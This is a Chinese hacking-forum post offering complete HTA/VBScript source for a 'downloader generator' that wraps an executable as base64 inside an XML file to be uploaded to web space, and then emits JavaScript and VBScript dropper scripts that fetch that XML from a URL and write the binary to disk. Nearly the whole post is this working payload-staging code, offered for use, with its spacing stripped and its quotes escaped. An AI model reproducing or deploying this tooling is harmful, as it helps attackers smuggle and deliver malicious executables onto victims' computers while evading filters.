XMLDOM下载者生成器(xmldown.hta)

[复制链接]
查看311 | 回复0 | 2012-4-1 19:20:07 | 显示全部楼层 |阅读模式
以下代码保存成hta文件,可生成js和vbs下载者


<HTA:APPLICATION

ID=&quot;xmldown&quot;

Caption=&quot;yes&quot;

SCROLL=&quot;auto&quot;

border=&quot;none&quot;

borderStyle=&quot;static&quot;

SINGLEINSTANCE=&quot;yes&quot;

maximizebutton=&quot;no&quot;

BORDER=&quot;no&quot;

icon=&quot;dxdiag.exe&quot;>

<scriptlanguage=vbs>
SubWindow_onLoad

window.resizeToscreen.width/1.6,screen.height/3

window.moveTo200,200
EndSub
SubCreateXml(path,File)
SetobjStream=CreateObject(&quot;ADODB.Stream&quot;)

objStream.Type=1

objStream.Open()

objStream.LoadFromFile(Path)

objStream.position=0
SetXmlDoc=CreateObject(&quot;Microsoft.XMLDOM&quot;)

XmlDoc.async=False

SetRoot=XmlDoc.createProcessingInstruction(&quot;xml&quot;,&quot;version='1.0'encoding='UTF-8'&quot;)

XmlDoc.appendChild(Root)

XmlDoc.appendChild(XmlDoc.CreateElement(&quot;root&quot;))

SetXfile=XmlDoc.SelectSingleNode(&quot;//root&quot;).AppendChild(XmlDoc.CreateElement(&quot;file&quot;))

SetXstream=Xfile.AppendChild(XmlDoc.CreateElement(&quot;stream&quot;))

Xstream.SetAttribute&quot;xmlns:dt&quot;,&quot;urn:schemas-microsoft-com:datatypes&quot;

Xstream.dataType=&quot;bin.base64&quot;

Xstream.nodeTypedValue=objStream.Read()

XmlDoc.Save(File)

SetXmlDoc=Nothing

SetRoot=Nothing

SetobjStream=Nothing


EndSub
Functionx(obj)

Setx=document.getElementById(obj)

Endfunction
FunctionFindfile(str)

SetFSO=CreateObject(&quot;Scripting.FileSystemObject&quot;)

IfFSO.FileExists(str)Then

findfile=true

Else

findfile=false

EndIf

EndFunction
Functionjsdown()

SetFSO=CreateObject(&quot;Scripting.FileSystemObject&quot;)

withfso.opentextfile((CreateObject(&quot;WScript.Shell&quot;)).CurrentDirectory&&quot;\jsdown.js&quot;,2,true)

.writex(&quot;jsdown&quot;).value

endwith

endfunction
Functionvbsdown()

SetFSO=CreateObject(&quot;Scripting.FileSystemObject&quot;)

withfso.opentextfile((CreateObject(&quot;WScript.Shell&quot;)).CurrentDirectory&&quot;\vbsdown.vbs&quot;,2,true)

.writex(&quot;vbsdown&quot;).value

endwith

endfunction

</script>

<body>

<h4>1.生成下载用的xml文件</h4>

选择下载的exe文件:<inputtype=filename=&quot;file1&quot;id=&quot;file1&quot;size=&quot;20&quot;>

保存路径<inputtype=textname=&quot;path&quot;id=&quot;pathname&quot;value=&quot;c:\down.xml&quot;size=&quot;20&quot;>

<inputtype=&quot;button&quot;value=&quot;生成xml文件&quot;xxxxx='vbs:CreateXmlx(&quot;file1&quot;).value,x(&quot;pathname&quot;).value:IfFindfile(x(&quot;pathname&quot;).value)=trueThenmsgbox(&quot;生成成功,请传到某个空间&quot;):x(&quot;url&quot;).innerHTML=&quot;<fontcolor=red>生成成功,请传到某个空间</font>&quot;'><br>

<h4>2.生成下载者</h4>

<buttonxxxxx='vbs:jsdown():IfFindfile(&quot;jsdown.js&quot;)=trueThenmsgbox&quot;生成成功&quot;:x(&quot;url&quot;).innerHTML=&quot;用法是cscriptjsdown.jsxmlurlsavepath&quot;'>生成js下载者</button><buttonxxxxx='vbs:vbsdown():IfFindfile(&quot;vbsdown.vbs&quot;)=trueThenmsgbox&quot;生成成功&quot;:x(&quot;url&quot;).innerHTML=&quot;<fontcolor=blue>用法是cscriptvbsdown.jsxmlurlsavepath</font>&quot;'>生成vbs下载者</button><br><br><br><br>

<divid=&quot;url&quot;></div>
<textareaxxxxx=&quot;visibility:hidden&quot;name=jswodnid=jsdownrows=&quot;1&quot;cols=&quot;1&quot;>

varobjArgs=WScript.Arguments;

varobjXmlFile=newActiveXObject(&quot;Microsoft.XMLDOM&quot;);

objXmlFile.async=false;

objXmlFile.load(objArgs(0).toLowerCase());

do

{

WScript.sleep(100);

}

while(!objXmlFile.readyState==4)
if(objXmlFile.readyState==4)

{

varobjStream=newActiveXObject(&quot;ADODB.Stream&quot;)

varobjNodeList=objXmlFile.getElementsByTagName(&quot;stream&quot;)[0].nodeTypedValue
with(objStream)

{

objStream.Type=1;

objStream.Open();

objStream.Write(objNodeList);

objStream.SaveToFile(objArgs(1).toLowerCase(),2);

objStream.close();

}

}
deleteobjXmlFile;

deleteobjStream;
</textarea>
<textareaxxxxx=&quot;visibility:hidden&quot;name=vbswodnid=vbsdownrows=&quot;1&quot;cols=&quot;1&quot;>

SetobjXmlFile=CreateObject(&quot;Microsoft.XMLDOM&quot;)

objXmlFile.async=false

objXmlFile.load(Wscript.arguments(0))

DoWhileobjXmlFile.readyState<>4

wscript.sleep100

Loop

IfobjXmlFile.readyState=4Then
SetobjNodeList=objXmlFile.documentElement.selectNodes(&quot;//file/stream&quot;)

SetobjStream=CreateObject(&quot;ADODB.Stream&quot;)

WithobjStream

.Type=1

.Open

.WriteobjNodeList(0).nodeTypedvalue

.SaveToFileWscript.arguments(1),2

.Close

EndWith

SetobjStream=Nothing
EndIf
SetobjXmlFile=Nothing

</textarea>

</body>
&nbsp;
作者:kabus

地址:http://www.hack-kabus.com/hack/read.php?154

版权所有。转载时必须链接形式注明作者和原始出处及本声明!
*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则